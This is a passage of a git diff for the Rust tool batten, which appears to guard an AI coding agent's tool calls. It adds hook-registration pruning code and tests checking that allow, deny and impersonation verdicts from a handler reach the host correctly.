never read and does not understand: everything a consumer put in its + // host settings beside the hook map. Losing them + // would be this repair destroying configuration outside its own subject, + // which is the one thing worse than leaving a sibling registered. The + // temporary sits in the SAME directory so the rename stays within one + // filesystem and is therefore atomic. + let staged = path.with_extension("json.batten-tmp"); + std::fs::write( + &staged, + format!("{}\n", serde_json::to_string_pretty(&document)?), + )?; + std::fs::rename(&staged, &path)?; + out.surfaces_written += 1; + } + Ok(out) +} + +/// Write the at-load record unless one is already there. +/// +/// Returns whether this call wrote it. **Never overwrites**: the first record is +/// the one that describes the wiring the running session loaded, and a second +/// would describe the state after a repair — which is the false green this whole +/// ordering exists to refuse. +fn write_at_load(dir: &Path, rows: &[AtLoadRow]) -> Result { + let path = record_path(&git::git_dir(dir)?); + if path.exists() { + return Ok(false); + } + if let Some(parent) = path.parent() { + std::fs::create_dir_all(parent)?; + } + let record = AtLoad { + rows: rows.to_vec(), + }; + std::fs::write( + &path, + format!("{}\n", serde_json::to_string_pretty(&record)?), + )?; + Ok(true) +} + +/// Strip every non-batten registration out of one wiring document. +/// +/// Returns `(event, count)` for each event that lost one, in document order. +/// +/// **Empty containers are removed, not left behind.** A `hooks` array emptied of +/// its last entry, or an event whose array is now empty, is wiring that declares +/// nothing — and a host that iterates it would be handed a shape its own +/// generator never emits. Leaving the husk would also make the census read +/// `read: 1, commands: 0`, which is a real disposition and would now be a lie +/// about how the file got there. +fn prune_siblings( + document: &mut serde_json::Value, + file: hook::WiringFile, + command: &str, +) -> Vec<(String, usize)> { + let key = event_key(file); + let Some(events) = document + .get_mut(key) + .and_then(serde_json::Value::as_object_mut) + else { + return Vec::new(); + }; + let mut removed = Vec::new(); + let mut dead_events = Vec::new(); + for (event, value) in events.iter_mut() { + let Some(entries) = value.as_array_mut() else { + continue; + }; + let mut count = 0; + for entry in entries.iter_mut() { + let Some(hooks) = entry + .get_mut("hooks") + .and_then(serde_json::Value::as_array_mut) + else { + continue; + }; + hooks.retain(|hook| { + let Some(cmd) = hook.get("command").and_then(serde_json::Value::as_str) else { + // A hook object with no command string registers nothing this + // path can judge, so it is left exactly where it is. Removing + // it would be this verb deciding about a shape it does not + // own. + return true; + }; + let keep = is_batten(cmd, command); + if !keep { + count += 1; + } + keep + }); + } + if count == 0 { + continue; + } + entries.retain(|entry| { + entry + .get("hooks") + .and_then(serde_json::Value::as_array) + .is_none_or(|hooks| !hooks.is_empty()) + }); + removed.push((event.clone(), count)); + if entries.is_empty() { + dead_events.push(event.clone()); + } + } + for event in dead_events { + events.remove(&event); + } + removed +} + +#[cfg(test)] +#[allow(clippy::unwrap_used, clippy::expect_used)] +mod tests { + use super::*; + + /// Build a claude-code merged surface carrying `commands` on one event. + fn surface(commands: &[&str]) -> serde_json::Value { + serde_json::json!({ + "hooks": { + "SessionStart": [{ + "hooks": commands + .iter() + .map(|command| serde_json::json!({"type": "command", "command": command})) + .collect::>() + }] + } + }) + } + + /// One host's wiring shape, DERIVED from the harness table and never typed. + /// + /// Spelling the host's settings path here would be a consumer's artifact name + /// inside `crates/batten` — non-negotiable rule 1, and + /// `document_facts::no_artifact_name_reaches_the_core` caught exactly that in + /// this module's first draft. It is the rule `doctor.rs` already states for + /// itself: derive the path from the harness table, never type it. + /// + /// This comment does not spell the literal either, and that is not fastidious: + /// the gate is a substring scan over the file, so an explanation naming what + /// it forbids fires on itself. `.claude/rules/scanning.md` records the same + /// shape one layer up, and the second draft of this comment is what proved it. + fn claude() -> hook::WiringFile { + hook::Harness::ClaudeCode + .wiring() + .expect("claude-code declares a wiring surface") + .file + } + + /// The load-bearing negative: a broad selector, so a MIS-registered batten is + /// wrong rather than reclaimed. + /// + /// Fails by: narrowing [`is_batten`] to the exact wiring command. + #[test] + fn a_renamed_batten_registration_is_not_somebody_elses_hook() { + let command = hook::wiring_command(hook::Harness::ClaudeCode); + // Reaches no engine — the `--harness` flag is gone — so `doctor` reports + // it as wrong. It must still not be deleted here. + let mut document = surface(&["/usr/local/bin/batten hook"]); + assert!(prune_siblings(&mut document, claude(), &command).is_empty()); + } + + /// A sibling goes, and the event it emptied goes with it. + /// + /// Fails by: dropping the `dead_events` sweep, which leaves `SessionStart: []` + /// — a shape no generator emits and one the census cannot tell from a file + /// that always had none. + #[test] + fn an_emptied_event_is_removed_rather_than_left_as_a_husk() { + let command = hook::wiring_command(hook::Harness::ClaudeCode); + let mut document = surface(&["session-start-git-identity.sh"]); + assert_eq!( + prune_siblings(&mut document, claude(), &command), + vec![("SessionStart".to_owned(), 1)] + ); + assert_eq!(document, serde_json::json!({"hooks": {}})); + } + + /// Batten's own registration survives beside a reclaimed sibling, and the + /// entry that held both survives with it. + /// + /// Fails by: retaining on the entry instead of on its `hooks` array, which + /// takes batten's registration out with the sibling sharing its matcher. + #[test] + fn a_sibling_sharing_an_entry_with_batten_takes_only_itself() { + let command = hook::wiring_command(hook::Harness::ClaudeCode); + let mut document = surface(&[&command, "stop-hook-git-check.sh"]); + assert_eq!( + prune_siblings(&mut document, claude(), &command), + vec![("SessionStart".to_owned(), 1)] + ); + assert_eq!(document, surface(&[&command])); + } + + /// A hook object with no `command` is left alone rather than swept up. + /// + /// Fails by: treating a missing command as a non-batten registration, which + /// makes this verb delete a shape it does not own. + #[test] + fn a_registration_with_no_command_is_not_this_verbs_business() { + let command = hook::wiring_command(hook::Harness::ClaudeCode); + let mut document = serde_json::json!({ + "hooks": {"Stop": [{"hooks": [{"type": "command"}]}]} + }); + let before = document.clone(); + assert!(prune_siblings(&mut document, claude(), &command).is_empty()); + assert_eq!(document, before); + } + + /// The record and the census agree on what a sibling is, by construction. + /// + /// Fails by: giving either side its own selector — the copy `is_batten` + /// exists to make unwritable. + #[test] + fn the_reader_and_the_writer_share_one_selector() { + let command = hook::wiring_command(hook::Harness::ClaudeCode); + let document = surface(&[&command, "session-start-git-identity.sh"]); + let events = committed_events(&document, claude()).expect("a wiring file"); + let counted = events + .values() + .flat_map(entries_under) + .filter(|(_, entry)| !is_batten(entry, &command)) + .count(); + let mut pruned = document; + let removed: usize = prune_siblings(&mut pruned, claude(), &command) + .iter() + .map(|(_, count)| count) + .sum(); + assert_eq!(counted, removed); + } + + /// An empty record sums to nothing, so the gate's fallback is unambiguous. + #[test] + fn a_record_with_no_rows_carries_no_siblings() { + assert_eq!(AtLoad::default().siblings(), 0); + } +} diff --git a/crates/batten/tests/cli.rs b/crates/batten/tests/cli.rs index 03e13f092..507b0094f 100644 --- a/crates/batten/tests/cli.rs +++ b/crates/batten/tests/cli.rs @@ -17,17 +17,35 @@ use std::process::{Output, Stdio}; use common::{Fixture, StateHome, batten, git_in, scratch, scratch_outside_tree, stderr, stdout}; -/// Run `batten hook --harness ` with `payload` piped to stdin. +/// Run `batten hook --harness ` with `payload` piped to stdin, against +/// an authority that declares no rules. /// /// The ambient bypass var is removed so a developer's shell can never flip a /// deny case; the `bypass` flag sets it explicitly for the case that wants it. -fn run_hook(harness: &str, payload: &str, bypass: bool) -> Output { - run_hook_in( - &PathBuf::from(env!("CARGO_MANIFEST_DIR")), - harness, - payload, - bypass, - ) +/// +/// **THE FIXTURE IS THE POINT, AND IT USED TO BE `crates/batten/` (CLOUD-1135).** +/// The comment here said that directory "has no `batten.toml` — that is the +/// no-authority case". It has none, and `hook` resolves its authority upward to +/// the git root anyway, so every case below adjudicated against THIS +/// repository's own committed policy. Measured 2026-08-29: driven from +/// `crates/batten/`, `gh pr checks 714` came back refused by `gh-pr-checks`, a +/// row that exists only in the repository-root `batten.toml`. +/// +/// What that cost is the failure this file already names one helper down — "a +/// fixture that reads the repository it is running inside is not a fixture" — +/// in its live form rather than its historical one: +/// `hook_allows_reads_and_quoted_lookalikes_silently` began failing on `gh pr +/// view 42` the moment a checkout's own `SessionStart` wrote +/// `.git/batten-facts/pinned-programs`, because the live config's +/// `pinned-toolchain` preset then fires on `gh`. Local red, CI green — a runner +/// never writes that record — over a diff touching none of it. +/// +/// `version = 1` and nothing else IS the no-authority case, stated rather than +/// inherited: an authority that loads and declares no rule. `name` is per +/// caller because [`Fixture::new`] wipes, and these cases run in parallel. +fn run_hook(name: &str, harness: &str, payload: &str, bypass: bool) -> Output { + let dir = repo_with_config(name, "version = 1\n"); + run_hook_in(&dir, harness, payload, bypass) } /// The `gh` lifecycle shape rows a hook fixture adjudicates against. @@ -2783,6 +2801,18 @@ fn the_census_check_refuses_a_case_naming_no_row() { /// branch-name precedence otherwise moves one issue and strands the rest. So the /// committed shape of a multi-key bundle reddened this case, on a branch that /// was correct (CLOUD-661). The fix is to assert what the case means. +/// +/// AND THE SAME OMISSION RECURRED, which is why the list is the fragile part +/// rather than the wording. `ready-needs-an-answered-review` landed as a third +/// precondition row and was not added here, so this case stayed green only while +/// one of the older two ALSO refused. It goes red the moment a branch satisfies +/// both — a `verify` receipt present and a key on the commits — which is the +/// state every branch reaches just before it readies, and precisely the state +/// this case is about. CI never saw it: a fresh checkout has no verify receipt, +/// so `ready-needs-receipts` fires first and masks the gap. Measured 2026-08-26. +/// A fourth precondition row will do this again; the durable form is to select +/// the rows by KIND rather than to name them, which needs a surface this test +/// does not have today. #[test] fn the_committed_policy_gates_ready_on_receipts_rather_than_banning_it() { let root = PathBuf::from(env!("CARGO_MANIFEST_DIR")).join("../.."); @@ -3148,7 +3178,12 @@ fn a_payload_that_fits_no_host_fails_open_on_every_host() { #[test] fn hook_allows_reads_and_quoted_lookalikes_silently() { for command in ["gh pr view 42", "git commit -m \"gh pr merge\""] { - let output = run_hook("claude-code", &claude_payload(command), false); + let output = run_hook( + "hook-allows-reads", + "claude-code", + &claude_payload(command), + false, + ); assert_eq!(output.status.code(), Some(0), "command: {command}"); assert!( output.stdout.is_empty(), @@ -3161,14 +3196,25 @@ fn hook_allows_reads_and_quoted_lookalikes_silently() { fn hook_fails_open_on_an_undecodable_payload() { // A guard must never be the reason a session cannot proceed: junk on stdin // is an allow, not an error. - let output = run_hook("claude-code", "not json at all", false); + let output = run_hook( + "hook-undecodable-payload", + "claude-code", + "not json at all", + false, + ); assert_eq!(output.status.code(), Some(0)); assert!(output.stdout.is_empty()); } #[test] fn hook_honours_the_bypass_hatch() { - let output = run_hook("claude-code", &claude_payload("gh pr merge 42"), true); + // THE AUTHORITY HAS TO REFUSE THIS CALL, or the case says nothing (CLOUD-1135). + // It used to drive `run_hook`, which now loads an authority declaring no + // rules — an allow the bypass could not have caused. `gh-pr-merge` is a row + // in the same fixture `hook_exit_code_harness_denies_with_exit_2` uses to + // assert the deny this suppresses, so the two are the same call twice. + let dir = repo_with_gh_policy("bypass-over-a-real-deny"); + let output = run_hook_in(&dir, "claude-code", &claude_payload("gh pr merge 42"), true); assert_eq!(output.status.code(), Some(0)); assert!(output.stdout.is_empty()); } @@ -3207,9 +3253,12 @@ fn no_failure_path_can_deny_a_mediated_call() { r#"{"tool_input":{"command":42}}"#, ), ]; + // One fixture for the whole matrix: `Fixture::new` wipes, so building it + // inside the loops would be 24 rebuilds of the same two bytes. + let dir = repo_with_config("no-failure-path-denies", "version = 1\n"); for harness in harnesses() { for (name, payload) in cases { - let output = run_hook(harness, payload, false); + let output = run_hook_in(&dir, harness, payload, false); assert_ne!( output.status.code(), Some(2), diff --git a/crates/batten/tests/common/mod.rs b/crates/batten/tests/common/mod.rs index b095cac8f..123be97e6 100644 --- a/crates/batten/tests/common/mod.rs +++ b/crates/batten/tests/common/mod.rs @@ -82,6 +82,25 @@ fn declared_env_vars() -> Vec<&'static str> { /// /// Unconditional by design: a helper that scrubbed only where a suite /// remembered to ask is a helper that is wrong exactly where it matters. +/// +/// # `BATTEN_BIN` names the binary UNDER TEST, and it is set here for the same +/// reason +/// +/// A `[[hook.handler]]` the binary dispatches can shell out to +/// `mise-tasks/payload-field.sh`, whose documented resolution order is +/// `$BATTEN_BIN`, then `/target/{release,debug}/batten`, then whatever +/// `command -v batten` finds — where `` is resolved beside the SCRIPT, so +/// in a fixture repository it is the fixture, which has no `target/`. Without +/// this the extractor resolves off the developer's `PATH` or, finding nothing, +/// exits 1 — and every caller guards that read `|| exit 0`, so the guard allows +/// silently and the door reports nothing at all. +/// +/// Measured 2026-08-29: `the_committed_guard_writes_a_host_document_so_its_ +/// verdict_is_dropped` passed on a container carrying `batten` on `PATH` and +/// failed on a CI runner that does not, with an empty stderr — a case asserting +/// a defect, green because the mechanism never ran. Set after the scrub so it +/// survives it, and set unconditionally for the reason above: a suite that opted +/// in would be the suites that remembered. #[must_use] #[expect( clippy::disallowed_types, @@ -92,6 +111,7 @@ pub(crate) fn batten() -> Command { for name in declared_env_vars() { command.env_remove(name); } + command.env("BATTEN_BIN", env!("CARGO_BIN_EXE_batten")); command } @@ -131,7 +151,31 @@ pub(crate) fn run(dir: &Path, args: &[&str]) -> Output { reason = "stays with the harness spawn it configures: scrubbing the ambient state root is a property of the child's environment, not a call this could make in-process" )] pub(crate) fn state_home<'a>(command: &'a mut Command, home: &Path) -> &'a mut Command { - state_dir(command, &home.join("data")).env("HOME", home) + at_home(state_dir(command, &home.join("data")), home) +} + +/// Point the child's HOME DIRECTORY at `home`, on **every** platform. +/// +/// The fourth hermeticity behaviour, and the same defect as [`state_home`]'s one +/// axis over — a redirect spelled for POSIX and inert on Windows. `HOME` alone +/// is the whole answer on Linux and macOS and none of it on Windows: +/// `etcetera::home_dir()` wraps `std::env::home_dir()`, which reads +/// `USERPROFILE` there. So a suite that "overrode" its home read the **real +/// user's** profile, and only the cases asserting a positive count noticed — +/// the ones asserting an absence passed over a home that simply had nothing in +/// it (CLOUD-113's Windows job, again, on `wiring_reclaim.rs`). +/// +/// Separate from [`state_home`] because the two answer different questions: that +/// one contains where Batten WRITES its state, this one contains what +/// `home_dir()` RESOLVES TO for a verb whose subject is a file under it. A suite +/// wanting both calls both; `state_home` calls this so no site can have the +/// data dir contained and the home ambient. +#[expect( + clippy::disallowed_types, + reason = "stays with the harness spawn it configures: scrubbing the ambient home is a property of the child's environment, not a call this could make in-process" +)] +pub(crate) fn at_home<'a>(command: &'a mut Command, home: &Path) -> &'a mut Command { + command.env("HOME", home).env("USERPROFILE", home) } /// [`state_home`] and [`state_dir`] as chainable methods. @@ -147,11 +191,14 @@ pub(crate) fn state_home<'a>(command: &'a mut Command, home: &Path) -> &'a mut C /// As a method it is a drop-in: the three `.env(…)` lines become one /// `.state_home(…)` and nothing else about the site moves. pub(crate) trait StateHome { - /// Point the resolved state root at `/data` on every platform, and set - /// `HOME` to `home`. + /// Point the resolved state root at `/data` on every platform, and the + /// resolved home directory at `home` on every platform. fn state_home(&mut self, home: &Path) -> &mut Self; - /// Point the resolved state root at `dir` itself, setting no `HOME`. + /// Point the resolved state root at `dir` itself, setting no home. fn state_dir(&mut self, dir: &Path) -> &mut Self; + /// Point the resolved home directory at `home` on every platform, leaving + /// the state root ambient. + fn at_home(&mut self, home: &Path) -> &mut Self; } #[expect( @@ -166,6 +213,10 @@ impl StateHome for Command { fn state_dir(&mut self, dir: &Path) -> &mut Self { state_dir(self, dir) } + + fn at_home(&mut self, home: &Path) -> &mut Self { + at_home(self, home) + } } /// [`state_home`] for a suite whose state root is a directory it names outright, diff --git a/crates/batten/tests/connector_allow_door.rs b/crates/batten/tests/connector_allow_door.rs new file mode 100644 index 000000000..ae972ff64 --- /dev/null +++ b/crates/batten/tests/connector_allow_door.rs @@ -0,0 +1,380 @@ +//! `connector-allow-guard` driven THROUGH the door, over the compiled binary. +//! +//! **The second tier, and the tier that finds this class.** +//! `tests/connector-allow-guard.bats` runs the script directly and reads what it +//! printed; that is the bash equivalent of a Rego module's `with input as`, and +//! `.claude/rules/policy-modules.md` names its failure exactly — it fabricates +//! the shape the ENGINE may be unable to consume, so a guard can pass its own +//! suite green while the door discards every verdict it produces. +//! +//! **WHICH IS WHAT HAPPENED.** `connector-allow-guard` retired from a direct +//! `PreToolUse` registration into a `[[hook.handler]]` row (CLOUD-312 row 5) and +//! kept writing `hookSpecificOutput` on stdout. Behind the door that is +//! `Violation::ImpersonatedHost`: reported on stderr, never forwarded. Measured +//! 2026-08-26 on this repository's live wiring — the guard's deny document was +//! dropped and the refusal the host received came from an unrelated engine row +//! that happens to cover the same tool. Every deny in the committed permission +//! table is covered that way, which is precisely why nothing went red. +//! +//! **EVERY CASE RUNS AGAINST A FIXTURE REPOSITORY CARRYING ONE ROW**: the +//! handler and nothing else. That isolation is the whole design. Driving the +//! real `batten.toml` would let another rule's verdict stand in for this one — +//! the exact substitution that hid the defect for the life of the migration. +//! +//! **Rust rather than a `.bats` suite** (CLOUD-843): `shell-retirement` refuses +//! a new one, correctly. The fixture and the binary are the same either way. + +//! **UNIX ONLY, and the gate is load-bearing rather than tidy.** Every case here +//! dispatches a `#!/usr/bin/env bash` program as a `[[hook.handler]]` row. On a +//! Windows runner the spawn ladder resolves the interpreter the shebang names +//! and cannot start it, so the door reports a could-not-run and forwards +//! nothing. The cases that assert an ABSENCE — a dropped verdict, an engine deny +//! standing alone — therefore passed there for the wrong reason, while the two +//! that assert a handler's deny and grant REACHING the host failed outright. +//! Half a suite green over a mechanism that never ran is the vacuous-pass class +//! this file was written to expose, so it is gated rather than split. +//! +//! `board_record.rs` gates its whole suite on the same rung of the same ladder, +//! and `tests/connector-allow-guard.bats` — the tier this one is the second half +//! of — never ran on Windows either, so nothing is narrowed that was covered. + +// Panicking on setup failure is the idiomatic way for a test to fail loudly. +#![cfg(unix)] +#![allow(clippy::unwrap_used, clippy::expect_used)] + +mod common; + +use std::path::{Path, PathBuf}; + +use common::{at_root, git_in, scratch, stderr, stdout, write}; + +/// ONE ROW. No `[[rule]]` at all, so nothing in the engine can produce a verdict +/// of its own and be mistaken for the handler's. +const CONFIG: &str = r#"version = 1 + +[[hook.handler]] +id = "connector-allow-guard" +on = "pre-tool" +run = ["mise-tasks/connector-allow-guard.sh"] +matcher = "^mcp__" +timeout_ms = 5000 +preapproves = true +owner = "CLOUD-312" +expires = "2027-02-28" +"#; + +/// THE DENIED VERB IS ONE NO ENGINE ROW COVERS. `send_later` would have been the +/// natural fixture and is the wrong one: this repository's own +/// `no-scheduled-self-wakeup` refuses it, so a case built on it passes whether +/// the handler spoke or not. That substitution is the defect, not a detail. +const SETTINGS: &str = r#"{"permissions":{ + "allow":["mcp__Claude_Code_Remote__create_session"], + "deny":["mcp__Claude_Code_Remote__archive_session"] +}} +"#; + +const MCP_CONFIG: &str = r#"{"mcpServers":{ + "bbbbbbbb-5555-6666-7777-888888888888":{"url":"https://api.anthropic.com/v1/code/mcp/proxy?mcp_url=https%3A%2F%2Fapi.anthropic.com%2Fv1%2Fcode%2Fmcp%2Fmeta"} +}} +"#; + +const RESOLVABLE: &str = "mcp__bbbbbbbb-5555-6666-7777-888888888888"; + +struct Bench { + repo: PathBuf, + settings: PathBuf, + mcp_config: PathBuf, +} + +/// What the door said to the host, and what it said about the handler. +struct Door { + out: String, + err: String, +} + +impl Bench { + /// Hand one mediated call to the engine, keeping the two streams apart: the + /// verdict is on stdout, and the door reports a contract violation on + /// stderr. Merging them is how a dropped verdict reads as a delivered one. + fn door(&self, tool: &str) -> Door { + use std::io::Write as _; + + let payload = serde_json::json!({ + "hook_event_name": "PreToolUse", + "tool_name": tool, + "tool_input": {}, + }) + .to_string(); + + let mut child = common::batten() + .current_dir(&self.repo) + .args(["hook", "--harness", "claude-code"]) + .env("BATTEN_MCP_SETTINGS", &self.settings) + .env("BATTEN_MCP_CONFIG", &self.mcp_config) + .stdin(std::process::Stdio::piped()) + .stdout(std::process::Stdio::piped()) + .stderr(std::process::Stdio::piped()) + .spawn() + .expect("the binary runs"); + child + .stdin + .take() + .expect("stdin is piped") + .write_all(payload.as_bytes()) + .expect("write stdin"); + let outcome = child.wait_with_output().expect("wait for batten"); + Door { + out: stdout(&outcome), + err: stderr(&outcome), + } + } +} + +fn bench(name: &str) -> Bench { + let dir = scratch(name); + let repo = dir.join("repo"); + std::fs::create_dir_all(repo.join("mise-tasks")).expect("the fixture repo"); + // Copied from the suite's own tree, so `mise run mutant` reaches this tier + // too: under `mutant` that tree is the mutated one. + for task in ["connector-allow-guard.sh", "connector-allow-resolve.sh"] { + let to = repo.join("mise-tasks").join(task); + std::fs::copy(at_root("mise-tasks").join(task), &to) + .expect("the guard is copied from this tree"); + make_executable(&to); + } + write(&repo, "batten.toml", CONFIG); + git_in(&repo, &["init", "-q", "-b", "main", "."]); + + let settings = dir.join("settings.json"); + std::fs::write(&settings, SETTINGS).expect("the committed permission table"); + let mcp_config = dir.join("mcp-config.json"); + std::fs::write(&mcp_config, MCP_CONFIG).expect("the session's injected config"); + + Bench { + repo, + settings, + mcp_config, + } +} + +// No `#[cfg(unix)]` pair here: the module gate above already decides the target, +// so a `#[cfg(not(unix))]` twin would be a definition nothing can reach. +fn make_executable(path: &Path) { + use std::os::unix::fs::PermissionsExt as _; + let mut mode = std::fs::metadata(path) + .expect("the copy exists") + .permissions(); + mode.set_mode(0o755); + std::fs::set_permissions(path, mode).expect("the copy is runnable"); +} + +/// Replace the copied guard with a stub that answers on the handler contract. +/// +/// **The door's own channels are asserted through this rather than through the +/// committed guard**, and that separation is the point rather than convenience: +/// the guard cannot use those channels today (see +/// `the_committed_guard_writes_a_host_document_so_its_verdict_is_dropped`), so a +/// case driving it would assert the door's capability and fail for the guard's +/// reason. Stubbed, each case fails only when the thing it names breaks. +fn stub_guard(bench: &Bench, body: &str) { + write( + &bench.repo, + "mise-tasks/connector-allow-guard.sh", + &format!("#!/usr/bin/env bash\n{body}\n"), + ); + make_executable(&bench.repo.join("mise-tasks/connector-allow-guard.sh")); +} + +#[test] +fn the_committed_guard_writes_a_host_document_so_its_verdict_is_dropped() { + // THE MEASURED DEFECT, asserted rather than described (2026-08-26, still true). + // `mise-tasks/connector-allow-guard.sh` is dispatched as a handler and emits + // `hookSpecificOutput` on stdout with exit 0. `impersonates_host` reads that + // shape BEFORE the exit code, so the outcome is `Broke(ImpersonatedHost)` — + // and every `Broke` variant ALLOWS. The verdict never reaches the host. + // + // Stated over the violation LINE rather than over the missing verdict, + // because a missing verdict is also what a handler that never ran produces, + // and this suite's whole subject is telling those two apart. + // + // WHY IT IS ASSERTED RATHER THAN FIXED: the repair is one `case` in a + // governed shell file, which `shell-retirement` refuses unless the file is + // retired — and it cannot be, because it reads `/tmp/mcp-config-cse_*.json` + // per call, which no Rego module may do and no Rust port may carry into the + // core (rule 1). So this case is the finding's durable home, and it FLIPS the + // day the guard is repaired: that is what makes it evidence rather than a + // note. + let bench = bench("cad-measured-defect"); + let answer = bench.door(&format!("{RESOLVABLE}__archive_session")); + assert!( + answer + .err + .contains("hook.handler connector-allow-guard: wrote a host decision document"), + "the committed guard still impersonates the host; if this now fails, the \ + guard was repaired and this suite's other cases should be restored to \ + asserting the real guard: {}", + answer.err + ); + // And nothing it wrote became a verdict — neither arm reaches the host. + assert!(!answer.out.contains(r#""deny""#), "{}", answer.out); + assert!(!answer.out.contains(r#""allow""#), "{}", answer.out); + // Non-negotiable 4 holds even on the dropped path: the live key never travels. + assert!(!answer.out.contains("bbbbbbbb"), "{}", answer.err); +} + +#[test] +fn a_handler_deny_reaches_the_host_as_the_engines_own_refusal() { + // Exit 2 with the reason on stderr is the contract, and this is the door + // rendering it: attributed to the handler, written BY the engine. The + // difference between a verdict that travelled and one a guard printed. + let bench = bench("cad-deny"); + stub_guard(&bench, "printf 'archive_session is denied\\n' >&2\nexit 2"); + + let answer = bench.door(&format!("{RESOLVABLE}__archive_session")); + assert!( + answer.out.contains(r#""permissionDecision":"deny""#), + "{}", + answer.out + ); + assert!( + answer.out.contains("hook.handler.connector-allow-guard"), + "{}", + answer.out + ); + assert!(answer.out.contains("archive_session"), "{}", answer.out); +} + +#[test] +fn a_handler_grant_reaches_the_host_as_a_preapproval_not_a_dropped_note() { + // THE CHANNEL CLOUD-191 EXISTS FOR. Exit 0 with text on stdout is `Advise`, + // and `preapproves` on the row is what turns those same bytes into a grant + // the host honours — without it the reason lands on the engine's own stderr, + // because `AdvisoryReach` for this host lists `PostToolBatch`, `SessionStart` + // and `Stop`, not the pre-tool event, and the approval prompt comes back. + // + // Asserted over the DOCUMENT rather than over "not denied", because a + // not-denied assertion is satisfied by a handler that never ran at all. + let bench = bench("cad-allow"); + stub_guard( + &bench, + "printf 'the committed table already allows create_session on Claude_Code_Remote\\n'\nexit 0", + ); + + let answer = bench.door(&format!("{RESOLVABLE}__create_session")); + assert!( + answer.out.contains(r#""permissionDecision":"allow""#), + "{}", + answer.out + ); + assert!( + answer + .out + .contains("already allows create_session on Claude_Code_Remote"), + "{}", + answer.out + ); + assert!( + answer.out.contains("hook.handler.connector-allow-guard"), + "{}", + answer.out + ); + // The grant is not ALSO advice: said twice, one copy would land on a channel + // that delivers nothing here and the reader would see the same sentence from + // two places. + assert!(answer.err.is_empty(), "{}", answer.err); +} + +#[test] +fn an_engine_deny_beats_a_handler_grant_on_the_same_call() { + // The safety property of the whole channel, and the only case that can fail + // if the composition is wrong. A grant may upgrade an allow and nothing else + // — so a handler that would pre-approve a call the engine refuses must lose, + // or a dispatched program could spend a verdict a rule reached. + // + // THE STUB IS WHAT KEEPS THIS FROM PASSING VACUOUSLY. Driven against the + // committed guard it asserts nothing: that guard's grant is dropped before + // composition is reached, so the engine's deny would stand unopposed and the + // case would be green over a composition that had never run (CLOUD-418). + let bench = bench("cad-engine-wins"); + stub_guard( + &bench, + "printf 'the committed table already allows create_session\\n'\nexit 0", + ); + let config = format!( + "{CONFIG}\n[[rule]]\nid = \"refuse-the-granted-tool\"\nkind = \"shape\"\n\ + scope = \"mediated_call\"\nseverity = \"deny\"\ntool = \"create_session\"\n\ + reason = \"the engine refuses this regardless of any grant\"\n" + ); + write(&bench.repo, "batten.toml", &config); + + let answer = bench.door(&format!("{RESOLVABLE}__create_session")); + assert!( + answer.out.contains(r#""permissionDecision":"deny""#), + "{}", + answer.out + ); + assert!( + answer.out.contains("refuse-the-granted-tool"), + "{}", + answer.out + ); + // And the grant is dropped rather than reported beside the refusal: printing + // "a handler wanted to allow this" next to a deny reads as a disagreement + // the reader has to arbitrate when the arbitration has already happened. + assert!(!answer.out.contains(r#""allow""#), "{}", answer.out); + assert!(!answer.out.contains("already allows"), "{}", answer.out); +} + +#[test] +fn the_impersonation_detector_is_live_behind_this_row() { + // THE POSITIVE CONTROL, and this suite is worth little without it: every + // other case asserts the ABSENCE of a violation line, and absence is also + // what a handler that never ran produces. So one case makes the handler + // write the host document on purpose and requires the door to say so. + // + // `interpret`'s own unit case pins the same predicate. It could not catch + // the defect this suite exists for, because what was wrong was a committed + // handler ROW rather than the interpreter. + let bench = bench("cad-impersonation"); + stub_guard( + &bench, + "printf '{\"hookSpecificOutput\":{\"hookEventName\":\"PreToolUse\",\"permissionDecision\":\"deny\",\"permissionDecisionReason\":\"x\"}}\\n'", + ); + + let answer = bench.door(&format!("{RESOLVABLE}__archive_session")); + assert!( + answer + .err + .contains("hook.handler connector-allow-guard: wrote a host decision document"), + "{}", + answer.err + ); + // And the refusal it tried to write did NOT become one. + assert!(!answer.out.contains(r#""deny""#), "{}", answer.out); +} + +#[test] +fn a_name_the_guard_cannot_resolve_leaves_the_call_undecided() { + // The load-bearing negative: a guard that refused everything would satisfy + // the deny case above and be useless (CLOUD-418). + let bench = bench("cad-unresolvable"); + let answer = bench.door("mcp__cccccccc-9999-0000-1111-222222222222__archive_session"); + assert!(!answer.out.contains(r#""deny""#), "{}", answer.out); + assert!( + !answer.err.contains("hook.handler connector-allow-guard:"), + "{}", + answer.err + ); +} + +#[test] +fn a_non_mcp_tool_never_reaches_the_handler_at_all() { + // `matcher` is what keeps a narrowed handler from costing a process on every + // call it is silent on, and a matcher selecting everything is expressible by + // accident. Asserted through the door because `selects_tool` is the + // engine's, not the script's. + let bench = bench("cad-non-mcp"); + let answer = bench.door("Bash"); + assert!(!answer.out.contains(r#""deny""#), "{}", answer.out); + assert!(answer.err.is_empty(), "{}", answer.err); +} diff --git a/crates/batten/tests/doctor.rs b/crates/batten/tests/doctor.rs index d3e5d4b40..90a4b5a8c 100644 --- a/crates/batten/tests/doctor.rs +++ b/crates/batten/tests/doctor.rs @@ -63,7 +63,7 @@ fn a_healthy_repository_exits_zero() { assert_eq!(output.status.code(), Some(0)); assert_eq!( stdout(&output), - "config ok\ngit-repo ok\ncommand-programs ok\ndoctor: 3 check(s), 0 failed\n" + "config ok\ngit-repo ok\ncommand-programs ok\nhook-handlers ok\ndoctor: 4 check(s), 0 failed\n" ); } @@ -115,7 +115,11 @@ fn every_check_is_reported_not_just_the_first_failure() { let text = stdout(&output); assert!(text.contains("config failed"), "got: {text}"); assert!(text.contains("git-repo failed"), "got: {text}"); - assert!(text.contains("doctor: 3 check(s), 2 failed"), "got: {text}"); + // Four checks now; still two failures, because a checkout with no config + // declares no handlers and `hook-handlers` passes vacuously over an empty + // table. That is the honest answer — there is nothing there to be wrong — + // and it is why the count moved while the failure count did not. + assert!(text.contains("doctor: 4 check(s), 2 failed"), "got: {text}"); } // --- doctor never renders a policy verdict ----------------------------------- @@ -240,7 +244,10 @@ fn json_is_valid_and_carries_every_check() { assert_eq!(report["ok"], true); let checks = report["checks"].as_array().expect("checks is an array"); let names: Vec<&str> = checks.iter().filter_map(|c| c["name"].as_str()).collect(); - assert_eq!(names, vec!["config", "git-repo", "command-programs"]); + assert_eq!( + names, + vec!["config", "git-repo", "command-programs", "hook-handlers"] + ); } #[test] diff --git a/crates/batten/tests/pointer_only.rs b/crates/batten/tests/pointer_only.rs index f0a65f3ca..69e38f89c 100644 --- a/crates/batten/tests/pointer_only.rs +++ b/crates/batten/tests/pointer_only.rs @@ -787,6 +787,23 @@ const CENSUS: &[Verb] = &[ stdin: Stdin::Nothing, disposition: Disposition::PointerOnly, 